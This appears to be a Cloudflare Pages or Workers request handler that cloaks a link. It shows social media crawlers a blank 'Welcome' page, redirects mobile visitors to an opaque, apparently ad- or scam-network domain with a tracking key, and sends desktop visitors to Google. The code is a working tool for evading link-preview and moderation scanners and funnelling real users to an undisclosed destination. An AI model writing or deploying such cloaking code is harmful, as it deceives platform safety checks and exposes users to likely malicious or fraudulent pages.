export async function onRequest(context) {
const request = context.request;
const userAgent = request.headers.get('user-agent') || '';
// 1. Check for Social Media Crawlers / Bots
const isSocialBot = /facebookexternalhit|Facebot|Twitterbot|Pinterest|LinkedInBot|WhatsApp|TelegramBot/i.test(userAgent);
if (isSocialBot) {
const htmlContent = `
Welcome
`;
return new Response(htmlContent, {
headers: { 'content-type': 'text/html;charset=UTF-8' },
});
}
// 2. Check for Mobile Users
const isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(userAgent);
if (isMobile) {
return Response.redirect("https://answeredglumzero.com/fvdhg5m5ay?key=353cf677877506350cbf31111b3d89f5
", 302);
} else {
return Response.redirect("https://www.google.com", 302);
}
}